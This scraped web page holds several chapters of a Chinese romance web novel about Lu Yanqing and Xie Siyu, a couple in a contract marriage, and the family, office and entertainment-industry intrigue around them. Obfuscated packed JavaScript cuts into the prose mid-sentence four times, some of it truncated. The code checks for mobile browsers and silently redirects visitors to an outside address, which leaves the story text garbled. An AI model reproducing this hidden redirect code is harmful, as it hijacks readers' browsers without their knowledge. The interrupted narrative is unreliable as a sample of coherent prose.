“是,多买点礼物,零嘴也多备点。” 能堵住二婶的嘴就最好了。 陆言卿欲哭无泪,大步流星往办公室走,她要问问钟晚意,前两天她去Y市看演唱会,带回来的特产还有没有。 秘书部三人里就属江晓晓工作最为清闲,她这人没啥上进心,咸鱼躺平。 因为是家中独生女,父母健在有退休金,又在榕城二环给她全款买了套房,她每月工资想怎么花就怎么花,这会儿竟有功夫八卦。 “魏姐,你之前就是陆总的特助,她和苏蔓交往过是真的吗?” 工作之余刷刷微博很正常,江晓晓倒是不追星,但娱乐圈明星的八卦谁都爱看嘛。 最近网上全是苏蔓新剧被删减成纸片人的事,那她正在交往的,甚至交往过的对象,都被键盘侠们扒出来了。 魏洁翻资料的手一顿,下意识往刘瑶那边看了眼,手指弯曲往办公桌上一叩,严肃提醒:“你在网上看看就算了,别借题发挥,老板们的私人感情别随便议论,懂?” 江晓晓撇撇嘴,同事两年,也知道魏洁的性子,没跟她计较。 办公桌对面刘瑶正埋头工作,她自然不好打扰。 刘瑶确实在整理资料,她们三人办公位都在一起,想不听见都难。 苏蔓是陆总的前女友? 不由自主握紧了手里的签字笔。 余光瞥向空无一人的总裁办,这件事谢总知道吗? 另一边给钟晚意打电话的陆言卿,得知她家里还有Y市的特产,于是决定现在开车过去拿。 一会儿再回集团接谢思虞。 - 7点。 陆家老宅,距离晚饭时间还有半个小时。 陆言卿好不容易避开和母亲单独相处,却在后花园遇到二婶和谢思虞。 看谢思虞眼中淡淡的无奈,也不知道被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278680|166729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二婶‘折磨’了多久。 这种时候总不能留她独自面对。 “二婶,三年不见,您愈发的年轻了。” 是的,二婶陈雅在榕城开了两家美容院,年过五旬,看起来像是40出头。 陆言卿走到谢思虞身边,拉过一旁的休闲椅坐下。 圆形玻璃桌上摆放着不少吃的,有她从钟晚意那里顺来的Y市特色美食,玫瑰鲜花饼,乳扇沙琪玛,酸角糕等等。 “酸酸甜甜的,尝尝?” 谢思虞在陆言卿坐下后往她手里塞了颗酸角糖。 陈雅好像不知道自己丈夫和陆言卿这位侄女之间存在竞争关系,她起身绕过一个空位,坐到陆言卿身边,亲切地抓着她的手。 苦口婆心道:“言卿,我刚还和思虞讲,你们虽结婚了三年,但也分开了三年,好不容易团聚,要抓紧时间啊。” 陆言卿不着痕迹收回手,剥开酸角糖的糖纸,一边疑惑的问:“什么抓紧时间?” 右手边谢思虞低垂着头,巧妙避开了陆言卿疑惑的目光,嘴巴里酸角糖慢慢化开,好似她酸涩的心情。 “生宝宝啊。” 陈雅重重地叹息一声,想到家中一身反骨的儿子就窝火,“现在科技发达,你们想要孩子也容易。” 咳咳咳咳—— 陆言卿愕然瞪大双眼,差点被嘴里硬糖卡住喉咙,无意间瞥见谢思虞藏在发丝下绯红的耳根,拇指有意无意蹭过糖纸锯齿边缘。 “二婶,要宝宝太早了。” 没结婚前二婶让她赶紧交女朋友,这如今结婚了竟然开始催生? 还当着谢思虞的面说,这……她着实没想到。 “早吗?” 陈雅腕间的翡翠手镯落在玻璃桌上发出清脆的声响,往前屋方向看了看,确定没人过来,她凑到陆言卿耳边,压低了声音。 “别怪二婶说话难听,你看你祖父的身体,他还有多少年头可活,这也是你回来了,心里包袱没那么重,病情才好转。” “你和思虞都漂亮,将来你们的孩子肯定也好看,老爷子见你们感情和睦,又有孩子,多少也能宽宽心。” 陆言卿沉默没接话,因为二婶说的是实话,之所以和谢思虞延长协议婚姻,也是不想刺激爷爷。 谢思虞在陈雅离开后,指尖在桌布下蜷起,真丝布料被攥出褶皱。 她踌躇不安的问:“你……喜欢孩子吗?” 不小心咬碎嘴里的酸角糖,浓郁的酸味袭来,陆言卿眉头蹙起,急忙剥一瓣甜橙塞嘴巴,可算缓过来了。 “你别听二婶瞎说,她要是喜欢孩子应该催促她儿子。” 谢思虞好像钻进死胡同,执拗的又问了一遍:“不提她,就说你,喜欢孩子吗?” 我们的孩子你会喜欢吗? 陆言卿对上谢思虞深邃复杂的目光,真的有些不明白了,这个问题重要吗? 她们是协议结婚,不会有孩子的。 “谢思虞……你能告诉我你到底怎么想的吗?” 或许自己都没意识到当她问出这个问题后,心也高高悬着,想知道答案,又害怕知道答案。 21. 第21章 暮色渐浓。 紫藤花的甜腻缠绕着酸角糖的酸涩,陆言卿屏住呼吸,指甲无意识刮蹭着藤编椅纹路。 她在等谢思虞的回答。 “我……” 谢思虞第三次调整坐姿,不敢去看陆言卿直白的目光,视线最终落到她身后的廊柱上,尾音带着不易察觉的颤意,“我想做你……名副其实的妻子。” “姐,吃饭了——” 主宅方向传来陆言薇轻脆的喊叫声,陆言卿蹙了下眉,就挺闹心,因为谢思虞说话声音太小,她根本没听清。 “抱歉,能再说一遍吗?你想做什么?” 陆言卿看见谢思虞脖颈绷紧的弧度,攥紧了手里的锡箔糖纸,身体往她那边倾斜,眼神温柔且认真,表示自己并非故意戏耍,而是真的没听见。 随着陆言卿的靠近,羊绒裙摆扫过她裸露的脚踝,激起细小战栗。 谢思虞紧抿着唇瓣,紫藤架漏下的光斑正巧晃过她颤抖的睫毛,刚才的话说出口,已然用尽她全部的勇气。 不远处台阶上,陆言薇还等着她们进屋用餐,嘴角扬起极浅的弧度:“改天再说,先回屋吧,别让爷爷他们久等。” 陆言卿:“……” 胸口好似堵着一团棉花,郁结难耐。 偏偏她又不能强迫谢思虞,将蹂躏不成样子的糖纸扔进垃圾桶,从盒子里抽出一张湿巾擦拭手指。 起身跟上她的步伐,路过妹妹陆言薇面前时,晦暗复杂的眸光扫了她一眼。 陆言薇无辜地眨眨眼,她虽然是理科生,但也是女孩子,自然也察觉到姐姐和谢思虞刚在说很重要的事情,却被她打断。 “对不起嘛,姐,我不是故意的。” 急忙小碎步跟上去。 突然想起什么,轻轻扯了扯陆言卿的袖子,神神秘秘说,“姐,晚餐结束后你跟我上楼,有个东西给你,跟思虞……跟嫂嫂有关。” 嫂嫂? 陆言卿听到妹妹这样叫谢思虞,眼底的阴郁慢慢化开,莫名心情就变好了。 食指弯曲,控制着力道弹了下妹妹的脑门儿:“马上要成为呼吸内科正式的医生了,做事稳重点,别总是马马虎虎的。” 陆言薇乖巧点头,还做了个保证的手势:“我明白的。” - 晚上十点,江海澜苑。 陆言卿洗漱后穿着真丝吊带裙趴在床上,捏着两张电影票根反复看,上面日期是当年她和谢思虞领证的日子。 这部电影也是当时最热门的爱情片。 票根上字体已然模糊不清,其中2021.3.21几个数字也被磨得发白。 一时间,陆言卿只觉得呼吸微涩。 【前段时间你和嫂嫂回家里吃饭,她落下一件外套,阿姨清洗衣服时在口袋里找到的,不敢擅自处理就交给我了。】 【嫂嫂能贴身携带,应该很重要。】 【姐,这些年嫂嫂管理陆氏真的很辛苦,外面的人说话还难听,如今你回来了,一定要护着嫂嫂。】 次卧加湿器喷出白雾,陆言卿赤脚踩上微凉的地板。想到上次谢思虞说的话,又回去把拖鞋穿上。 来到主卧门前,手悬在半空中,好几次想敲门,又不知道该怎么说。 难不成问人家为什么要留着这两张电影票根? 其实房门并没有关实,只要轻轻一推就能推开。 最后纠结好几分钟,还是转身回了次卧,通过微信询问:「周六晚上没事,要不要去看电影?」 与此同时,主卧。 谢思虞洗完澡吃了一颗安眠药,正要躺下,床头柜上的手机叮咚一声响,锁屏页面弹出消息,粗略扫了眼内容,有些不敢相信自己的眼睛。 重新坐起来,解锁手机。 微信置顶一栏确实是陆言卿没错。 “看电影?” 她约自己看电影? 谢思虞抬眸看向虚掩着的房门,然而当她来到门外,走廊上并没有陆言卿的身影,是不小心发错人了吗? 往后退一步,靠着卧室门。 又探头往次卧方向看了看,挣扎许久才回了个问号试探。 她怕陆言卿想要约的人,不是她。 等待审判的时间很漫长。 「我周六晚上没有安排,倒是忘记问你的时间了,是有其他事吗?」 心脏,扑通,扑通,跳的欢快而有力。 谢思虞如释重负,用力攥紧了手机,原来陆言卿真的想约她看电影,不是误发了消息。 眼眶又忍不住酸涩,这段时间她总是因为那人不经意的举动弄哭鼻子。 当真是没出息。 「我没有其他安排。」 「你有想要看的电影吗?我都可以。」 临睡前,谢思虞才收到陆言卿发来的电影名《婚后予你》。 看到熟悉的四个字,心口猛地一窒,那两张旧电影票根在记忆里慢慢苏醒。 突然将脸埋进柔软的枕头,眼泪决堤似的落下。 直到锁屏界面显示00:17,安眠药开始发挥药效,谢思虞闭上眼睛,被迫进入梦乡。 - 夜深人静。 同一座城市,城南高速公路入口,苏蔓乘坐的保姆车正缓慢驶入收费站,司机直接从ETC通道进城。 并没有马上提高车速,而是询问后座上的苏蔓:“苏小姐,请问您是去江海澜苑还是新城小区?” “新城小区。” 苏蔓坐起身来,拉开车窗前的窗帘,看着外面不断倒退的绿化带,嘴角勾起嘲讽的笑。 去江海澜苑做什么? 邹筱既然铁了心要躲她,她就是在公寓楼下守一整夜,也不见得那人会心软。 右手食指和无名指缠绕着纱布,那晚拍落水的戏,她的手指被湖里尖锐的冰块划伤,伤口反反复复发炎,稍微一碰都钻心般疼痛。 黄凌当然看出苏蔓情绪低落,一边帮她调整座椅靠背,一边安慰:“苏蔓姐,你也别多想,说不定邹总有苦衷呢?这三年来她对你可以说是百依百顺,宋薇比你还早两年进公司,她如今还是三线。” “别人抢破脑袋才能拿到试镜机会,而你却能自己挑选剧本,有眼睛的人都会看,邹总很喜欢你。所以……别听外面的闲言碎语,总要给邹总一个解释的机会。” 黄凌之所以这样说,是因为她不相信邹筱会突然变心,明明两个月前苏蔓才陪她过完32岁生日。 两人当时还聊到了结婚。 “小凌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢思虞有晨跑的习惯,陆言卿也是今天才知道,她下楼拿早餐,见门口有老板卖鲜花,便挑选了一束戴安娜玫瑰。 在江海澜苑碰到苏蔓,这是她没想到的。 “有事?” 苏蔓的状态看起来并不好,眼睛绯红,睫毛上还挂着泪水,面容苍白,眼底藏着黛青,像是好几晚没睡。 突然想起那天在清吧,在钟晚意微信群里看到的内容,眉头轻轻蹙了下。 苏蔓戴着口罩,眼泪汪汪,朝着陆言卿又走了两步,嗓音哽咽:“卿卿我……” “言卿。” 谢思虞晨跑回来便撞见这幕,小跑来到陆言卿面前,指尖拨了拨粉色花瓣上的水珠,轻声询问,“花……是送给我的吗?” 陆言卿下意识点头:“嗯。” 怕谢思虞误会,正想要解释,她已经捧过她怀里粉色玫瑰,明艳的脸庞扬起温柔似水的笑容,“谢谢,我很喜欢。” 被那双温婉的眸子注视着,陆言卿一时恍然,好像听到了自己心跳的声音。 22. 第22章 晨光漫过落地窗在屋内洒下光影,谢思虞进屋后将戴安娜玫瑰放在茶几上,先把玻璃花瓶里枯萎的洋甘菊一支支抽出,往瓶子里换了干净的清水,才把玫瑰花插入瓶中。 玄关传来关门声。 陆言卿还在低头换鞋,谢思虞一边调整花枝角度,一边说:“你先吃早餐,我去书房打个电话。” 陆言卿嗯了声。 把印有云膳坊logo的袋子放在餐桌上,依次从里面拿出美味且精致的小笼包,另外还有两份海鲜粥。 “应该没误会吧?” 拉开餐椅坐下,陆言卿单手托着下巴,时不时往书房方向看,她跟苏蔓碰面还没说上话,谢思虞就晨跑回来了。 刚在电梯里她想找机会解释,可谢思虞一直在说她晨跑遇到的遇事,似乎不想听她说话。 她真的冤枉。 当初发现苏蔓劈腿,她就提出了分手,也彻底断了跟对方的联系。 无论苏蔓因为什么原因选择别人,她们都不可能再有什么。 另一边,公寓楼下。 苏蔓蜷在保姆车后座盯着手机屏保发呆——那是去年《初雪》杀青宴与邹筱的合照,水晶吊灯下对方替她拂去肩头彩带的画面。 黄凌接了一通电话,激动地抓住苏蔓的手腕。 “苏蔓姐,我就说你和邹总之间有误会吧?邹总昨晚回榕城,得知你的事就开始处理了。刚《神殒九霄》剧组编剧打电话过来,让你回桐市拍戏。” 苏蔓愣了片刻,捏了捏肿胀的眉心:“什么意思?” “编剧说按初版剧本拍!” 黄凌晃着手机,屏幕上是编剧刚发的文档,眼睛里是藏不住的惊喜。 「苏蔓,李导在这里郑重跟你道歉,对不起。你还是《神殒九霄》的女主角,几天前进组的新人李淼我已经让她离开剧组了。」 「既然回榕城就好好休息两天,我们等你回来再开工。」 苏蔓伸手挡住从车窗外照射进来的阳光,微信上导演李越亲自跟她道歉,恍然想起前几天对方面目可憎的脸,嘴角勾起讥讽的笑。 “还真是让我回去拍戏。” 屈起双腿,苏蔓抱住膝盖,笑着笑着眼泪又流了下来。 大概真的是邹筱才“发现”她被人欺负,替她抱不平呢。 「蔓蔓对不起,我不知道你最近遭遇了这些,之前不是说喜欢卡地亚的珠宝吗?我这次出差专门为你买了,我们今晚去竹香居用晚餐。」 苏蔓的指尖悬在邹筱对话框上方。 最新消息是卡地亚珠宝盒的照片,蓝丝绒衬布上躺着她们曾在米兰橱窗前驻足过的蓝宝石项链。 两年前她笑着说‘太贵重’,而今礼盒旁附着的卡片写着:今晚八点,不见不散。 - 今早去公司是陆言卿开车,副驾驶谢思虞白色针织衫打底,黑色A字群,外面搭配一件燕麦色双排扣的羊绒西装。 低马尾,淡妆,当真是温柔又优雅。 气氛有点尴尬。 陆言卿打开了音乐,很快车载音响流淌着一首悠扬舒缓的钢琴曲,注意到后视镜上挂着的平安符,随口一问:“平安符是去城西青山寺求的?” “我之前陪奶奶去过几次,老人家每年正月初二都会去寺庙烧香拜佛。” 真皮座椅随着车身转弯微微倾轧,陆言卿身上淡淡的雪松香被空调风送到她鼻尖,混着剥开的橘子糖清酸,在密闭车厢酿出危险的甜。 “清晨的事我并未生气。” 看出陆言卿在刻意寻找话题,谢思虞唇角勾起温柔的笑,糖递了过去:“橘子味的,要吃吗?” 前方路口,红灯读秒器90秒的倒计时。 陆言卿踩了刹车,车缓缓停下,闻言总算松了口气,瞥见谢思虞手里的糖,点点头:“可以。” 谢思虞探身衣服下摆扫过换挡杆,她指尖捏着的橘色糖块悬在两人呼吸交汇处,糖纸发出窸窣的声响。 原本陆言卿想伸手去拿,偏偏谢思虞已经喂到嘴边,只好就着她的动作,微微张唇含住糖果,对方的指尖不知是有意还是无意,触碰到了她的唇瓣。 低垂的长睫狠狠颤了颤:“谢谢。” “平安符是我陪陆奶奶去寺庙求的。” 谢思虞明艳的脸庞挂着温柔的笑意,指腹上好像还残留着某人唇瓣的柔软。 低头整理糖纸,将褶皱抚平,很轻很轻的说,“我不信鬼神,却希望菩萨能保佑你,平平安安。” 本是随口一问,没想到得到这样的答案。 柑橘酸味在舌尖蔓延开时,陆言卿握方向盘的指节紧了紧。 竟神差鬼使觉得嘴里的橘子糖,比以往任何一次吃过的都要甜。 “或许菩萨真的显灵了,保佑你平安归来。” 谢思虞忽然将平安符穗子绕在指尖,注意到某人轻蹙的眉头,半开玩笑,“但陆总能不能别蹙着眉开车?” 她指尖虚点陆言卿眉心,悬停半寸便收回,残留的橘子香悬浮在空气中,混着车载香氛雪松后调,好像织成了一张挣不脱的网。 今天周五,上午十点集团要召开高层会议,出席会议的都是各个部门的总监,经理以及主管。 “陆总,这是三年来集团各个部门人员调遣名单,其中人力资源部总监沈砚清是当初谢总亲自招聘并任命,再有就是市场部,陆副总监是陈总监提拔上来的。” 32层陆言卿办公室。 魏洁将人员调遣名单放在陆言卿办公桌上,详细说了各个部门重要岗位的调动。 谢思虞亲自招聘,直接任命沈砚清为人力总监? 陆言卿翻看沈砚清的履历,人大劳关系博士,曾在全球500强国企担任人力资源总监,独创“三色档案”管理系统(红-核心人才/蓝-待观察/灰-优化目标)。 那确实很优秀。 视线落在财务总监名单上:江泠月。 这个人是爷爷一手栽培,能力出众不说,还值得信任。 “好,我知道了。” 陆言卿回来也快一个月了,对谢思虞的行事作风有基本的了解,看似温柔娴静的谢总,工作上说一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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19楼电梯间的门缓缓打开,刘瑶手上提着刚下楼取的午餐,陆言卿侧过头对身旁的谢思虞说:“你先上楼,我去财务部找下江泠月。” 谢思虞没问原因,一边走进电梯间,一边温软道:“我等你一起用餐。” 陆言卿轻轻点头,对面往下运行的电梯抵达,她也转身往电梯间走。 13楼茶水间的咖啡机正发出研磨轰鸣,两个工牌泛旧的员工缩在绿植墙后窃窃私语。 “听说沈总监的新公寓就买在谢总所在的江海澜苑,你说巧不巧?” “两个月前团建她们还坐同一辆车,要说她们私下没有来往,谁信啊。陆副总监能在员工大会上那样说,估计也是发现了什么。” “空穴不来风,要谢总真的和沈总监有私交,陆总还能……啊。” 突然砸落的文件箱撞散窃语,陆言卿原本要上前阻止,却被人抢先一步。 23. 第23章 茶水间门口,一位身穿黑色职场装的女生弯腰捡起地上的文件,毫不客气讥讽道:“有功夫在这里乱嚼舌根,不如把精力放在工作上,如此一来你都能做到主管的位置,而不是两年了还是小组组长。” “你……张小梅你得意什么?整个财务部谁不知道你是走后门进来的?轮得到你管我们说什么?” 穿碎花裙的女生像是一只被踩尾巴的猫咪,气的狠了也直戳对方的死穴。 张小梅攥紧手中的资料,尾音带颤:“员工手册上明确写着不能私下议论上司,你们还有理了?” 另一位女生见同伴都要哭了,蹙起眉还想说什么,结果被突然出现的江泠月打断:“说够了就都下楼吃饭。” 财务总监办公室门口。 江泠月嗓音清冽且不容置疑,茶水间紧张压抑的氛围瞬间消散,三人纷纷低头宛如鹌鹑离开了现场。 她对电梯门口的陆言卿做了个请进的手势:“原本以为陆总回来第二天就会找我。” 陆言卿莞尔一笑:“现在来也不迟。” 她和江泠月都毕业于京都A大,这人比她大整整四届,私下她也叫她一声学姐。 当年江泠月机缘巧合下进入陆氏集团,专业能力突出,这才被老爷子委以重任。 江泠月跟在陆言卿身后进入办公室,随后将门关上,百叶窗叶片被精确调至45度,既隔绝窥视又留有透明。 将早已准备好的资料交给陆言卿,江泠月一边打开投影仪,一边开口:“当年你和谢总联姻,两家达成长期合作,这三年来谢总明面上将商场好的资源都倾向Elis,然实际上却……” 言尽于此,很快又补充,“当然,这是谢总的私事,我无权过问,陆老那边也是睁一只眼闭一只眼。” 陆言卿坐在办公桌前,低头翻看资料,江泠月没说出口的话她也了然于胸,毕竟前不久谢思虞还拜托她撤掉Elis的5家门店。 江泠月的指尖在投影仪遥控器上轻点,幕布亮起三组数据模型:“谢总担任陆氏集团总裁后接手的第一个项目是西郊店仓库选址。” “她直接选了Elis快到租期的仓储用地,遭到陆董和刘董的强烈反对。” 说着又调出加密邮件截图:“谢总为了平衡,不得不同意仓库装修由陆董老同学来完成。只不过后来施工队施工半月,直接被爆出工程质量有问题。根据合同,对方赔偿了三倍违约金。” 陆言卿微微挑眉,她记得昨晚家宴上二叔喝了几杯白酒,醉醺醺时谈起一桩旧事,说当初西郊店仓库装修,害他白白损失了几百万,原来是这事? “去年六一前夕,优童乐童装品牌被检出甲醛超标。” 江泠月将质检报告推过桌面,“陆董压着消息想等促销季结束,谢总连夜清空了三个楼层的货品。” 她调出凌晨两点的监控录像:谢思虞裹着燕麦色风衣指挥应急小组,身后电子屏滚动播放赔偿方案。 「凭购物小票三倍赔付,赠送#小鹿亲子#5折优惠券。」 “小鹿亲子童装是谢总引进的本土品牌。”江泠月点开股权结构图,“她用危机公关导流,把优童乐20%客群转化为小鹿会员。” 江泠月关掉投影仪轻叹:“我列举的只是其中一部分,谢总这三年,既要防着陆董拆陆氏的梁,又要明里暗里给Elis这样的蛀虫一些好处。” 总而言之挺难的。 关于陆言昭这三年里参与的项目,江泠月都懒得说,直接调出PPT文档让陆言卿自己看。 二十分钟后。 陆言卿返回32层,总裁办谢思虞还等着她用午餐,今天刘瑶订的几道菜都是私房菜的招牌。 “怎么有辣椒?” 陆言卿坐下后沙发对面谢思虞递过来一双筷子,同时也听到她温软解释,“不能总让你吃清淡的菜,放心,只是白灼油麦菜添加了一点点,我可以吃。” “我无所谓,倒是你,不要勉强。” 口味清淡点也可以,陆言卿在吃的方面不是那么讲究,算算时间,距离上次谢思虞复查胃镜也过去了一个多礼拜。 她的胃应该好些了吧? 谢思虞脸上挂着温和的笑:“没有勉强。”说着给陆言卿夹了一片杏鲍菇,并没有询问她下楼找江泠月何事,而是主动提及和沈砚清的关系。 “我和砚清是大学室友,也是关系不错的朋友。当初陆爷爷要我担任集团总裁一职,我……必须要有信任的人。” “嗯,我理解。” 陆言卿说话时没有抬眸,今天中午的西兰花炒虾仁不错,口味清淡,鲜美滑嫩。 然就在她要去夹第三颗虾仁时,终于察觉到谢思虞打量她的目光,片刻后反应过来,眼底漾出温柔的笑,“以为我在敷衍你?” 谢思虞笑而不语。 陆言卿放下碗筷,端起旁边的鲜榨橙汁喝了一口,娓娓道来:“换做是我,突然接手这么大的集团,还前后豺狼后有猛虎,肯定也会培养自己的人。” 言外之意便是:你招聘沈砚清进入集团,还任命她为人力资源总监,我都表示理解和认可。 和聪明人打交道就是只需要稍加提示,对方就能明白你的意思。 陆言卿给谢思虞盛了一碗鲜笋汤:“所以谢总安心吃饭,我说过会相信你。” “就算将来真的出现问题,我也会先听你的解释。嗯?” 别说是恋爱中的情侣,就是结婚领证的妻妻,遇到问题发生矛盾,也需要沟通和交流。 而陆言卿,恰巧就是遇事会主动沟通的那一类。 - 傍晚下班,陆言卿原本想带谢思虞去郊区一家韩式料理店吃饭,结果刚到集团负二楼停车场,钟晚意就打电话过来:「晚上7点,老地方等你吃饭,把思虞姐叫上一起。」 “晚意请我们去西餐厅吃饭,你想去吗?” 驾驶座,陆言卿一边系安全带,一边询问谢思虞的意见,车载香氛里淡淡的橙花香萦绕在鼻尖,同某人身上香水味如出一辙,令她呼吸有点不稳。 启动引擎后不着痕迹将左侧的车窗降下一条缝隙,让外面冷空气进来。 使自己保持冷静,也别胡思乱想。 “好啊。” 谢思虞轻轻点头,等车缓缓驶出停车库,她拿出包里的手机解锁,取消韩式料理店的订餐。 夕阳西下,橘黄色的阳光斜斜地穿过车窗玻璃,在谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278683|166729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思虞珍珠耳钉上折射出细碎的光斑。 只见她唇角轻轻勾着,澄澈明媚的眸中闪着温柔似水的笑容。 很显然,陆言卿带她去见朋友,她很开心。 与此同时,榕城二环一家名为Halo的西餐厅。 这里便是钟晚意口中的老地方。 二楼202包厢。 靠近落地窗有一张长方形餐桌,单面落地窗内侧垂落着帘幕,私密又有格调,餐桌中央摆放棱柱形水晶花瓶。 钟晚意长发齐肩,白色针织内搭,短牛仔外套配黑色直筒裙,又飒又酷。 她身边的女子长相清丽,温文尔雅,长袖荷叶领连衣裙,要是经常上网刷微博的人就能一眼认出来,她正是娱乐圈艺人宋薇。 钟晚意家中是做建材生意的,她上有两个姐姐,生平志愿就是混吃等死,父母对她的要求也低。 只要不违法乱纪,随她瞎折腾。 所以在公司挂了个闲职,实际上是娱乐圈数据女工。 微博大号“就爱吃兔兔”是三线艺人宋薇粉丝后援会站长。 今天也是她们第一次线下“见面”。 钟晚意激动的不行,说什么也要为爱豆争取一个机会,主要是宋薇之前试镜《神殒九霄》女三号落选了。 “薇薇你别紧张,我朋友她们很好相处的,半点没有富家千金的架子,等会儿你见到她们就知道了。” 钟晚意拿着茶壶又帮宋薇续了一杯洛神花茶,可能也瞧出她很紧张,再次出声安慰。 “谢谢。” 宋薇确实受宠若惊,她哪里想到粉丝后援会站长是榕城钟家的千金小姐? 一见面钟晚意就十分热情,邀请她吃晚饭不说,还要给她介绍代言,要知道陆氏集团的代言可不是她这种层次的艺人能接触到。 桌上手机屏幕亮起又熄灭,锁屏还是《神殒九霄》原著小说的节选段落。 想起试镜那天,选角导演只看了她三十秒就低头划动平板,让她出门叫下一个人进来试镜。 她已经半年没有拍戏了。 私心作祟还是留了下来。 “谢谢你,钟小姐。” 钟晚意有点不开心:“怎么又叫钟小姐,一年前我们就添加了微信,薇薇你可不是这样叫我的。” 宋薇捧着茶杯,难为情地抿了抿唇:“意意。” 钟晚意:“对嘛。” 第三次往包厢门口张望,小声嘀咕,“这两人怎么还没来?” 别放她鸽子吧? 换做平时陆言卿放她鸽子就算了,今天在她爱豆面前,要是她们不来,她可是相当丢脸的。 正要打电话催促,包厢门被人从外面推开,不是陆言卿还能是谁? 然而宋薇看清楚陆言卿身后的女子,瞳孔猛然紧缩,站起身不小心碰倒了桌上的茶杯,里面洛神花茶洒落,她的裙摆也没能幸免。 “抱歉意意,我……我有点急事要先离开。” 钟晚意半蹲着身子给宋薇擦拭裙摆上的水渍:“啊?什么事啊,很着急吗?我开车送你回去。” 关心则乱。 这是陆言卿对钟晚意此刻的评价,很明显,这位宋小姐在说谎。 24. 第24章 “不用送,我的助理就在……楼下。” 宋薇低头对上钟晚意担忧紧张的目光,突然不敢触碰这份赤诚,往后退了半步。 “就算宋小姐很着急,建议还是换条裙子,刚我们从楼下上来,一楼大厅有美食博主正在直播。” 谢思虞嗓音温柔轻软,想到什么又补充,“当然,你也可以通过三楼的货运电梯直达负一楼车库。” 宋薇指尖掐进掌心软肉,真丝荷叶领随着急促呼吸起伏,眼睑低垂不敢和谢思虞对视。 半年前星海年度发布会。 五星级酒店顶楼走廊,邹筱追着谢思虞汇报工作,而她抱着试镜资料缩在消防通道口,听见飘过来的只言片语:「宋薇的观众缘不行,《长安月》女二号还是定苏琳……」 如果不是那天她花高价买通酒店经理,想要找邹筱争取最后的机会,也不可能撞见那一幕。 星海娱乐三年前被神秘人收购,一直是邹筱这位副总出面管理公司,茶余饭后也有不少人讨论幕后老板的身份。 然而又有谁能想到,对方竟是陆氏千金陆言卿商业联姻的妻子呢? 在陆言卿出国期间,谢思虞更是担任集团总裁,传言她杀伐果断,刀刀温柔也足以致命。 “美食博主开直播?” 钟晚意眉头紧蹙,之前有艺人逛商场,有路人拍到她后背沾上了脏东西,就被网友们编排议论了整整一个礼拜。 她不允许这样的事发生在宋薇身上,拿起桌上手机拨通了某个电话,“把我车上备用的衣服拿到楼上202包厢。” “意意我……应该没事,我戴上口罩从三楼货梯离开。” 餐桌棱柱形水晶花瓶里插着两支香水玫瑰,宋薇十分钟前还夸它清香扑鼻,此刻却恨不得马上逃离这里。 静默片刻,再次拒绝了钟晚意,她今天真不该鬼迷心窍。 谢思虞对外隐瞒身份三年,她要是足够聪明,就应该把这件事烂在肚子里。 陆言卿挑眉看着手忙脚乱的两人,指尖在手机边缘敲出轻响,歪头看向身后的谢思虞,目光耐人寻味。 谢思虞面色从容,温温柔柔问:“言卿看我做什么?” 陆言卿摇摇头,轻声调侃:“宋小姐突然这般反应,肯定和思虞没有关系,应该是我长得太吓人了~” 可她又不瞎,宋薇在看到谢思虞后,眼中一闪而过的畏惧做不得假。 但每个人都有秘密,她并不好奇。 几分钟后,钟晚意送换了衣裙的宋薇到地下车库,确定附近没有被狗仔偷拍,才闷闷不乐回到包厢。 坐下后不知道在想什么,把盘子里牛排切得乱七八糟,突然将其推到一边,牛仔外套的铆钉在桌面刮出刺耳的声响。 她半个身子都快探到谢思虞面前,嗓音透着说不出的心疼:“思虞姐你不知道,半年前薇薇为了练好《长安月》里的琵琶戏,手指都磨出血了。” 说到这里停顿了下,再开口就很是愤怒,“原本导演定下薇薇出演女二号,结果就因为星海总裁一句话,全盘否定了薇薇的辛苦付出,这个角色最后也落入其他人手中。” 谢思虞微垂的长睫颤了颤,手中的银叉戳破餐碟里的焦糖布丁,琥珀色的糖浆缓缓渗出来:“那……星海总裁确实挺过分的。” 钟晚意认同地点点头:“是吧。” 陆言卿慢悠悠晃着红酒杯,餐刀在灯光下反射的冷光:“我记得宋小姐是音乐学院科班出身?” “对,薇薇很优秀的。” 钟晚意抢着回答,毫不掩饰对爱豆的赞许,“她老师是李容谦大师,就是给《烬雪词》配乐的那位。” 谢思虞抬眸对上钟晚意骄傲得意的目光,握着银叉的手紧了紧,又看向右侧的陆言卿,深思熟虑后开口:“联名展会时「云裳」茶饮馆正好缺形象顾问。” 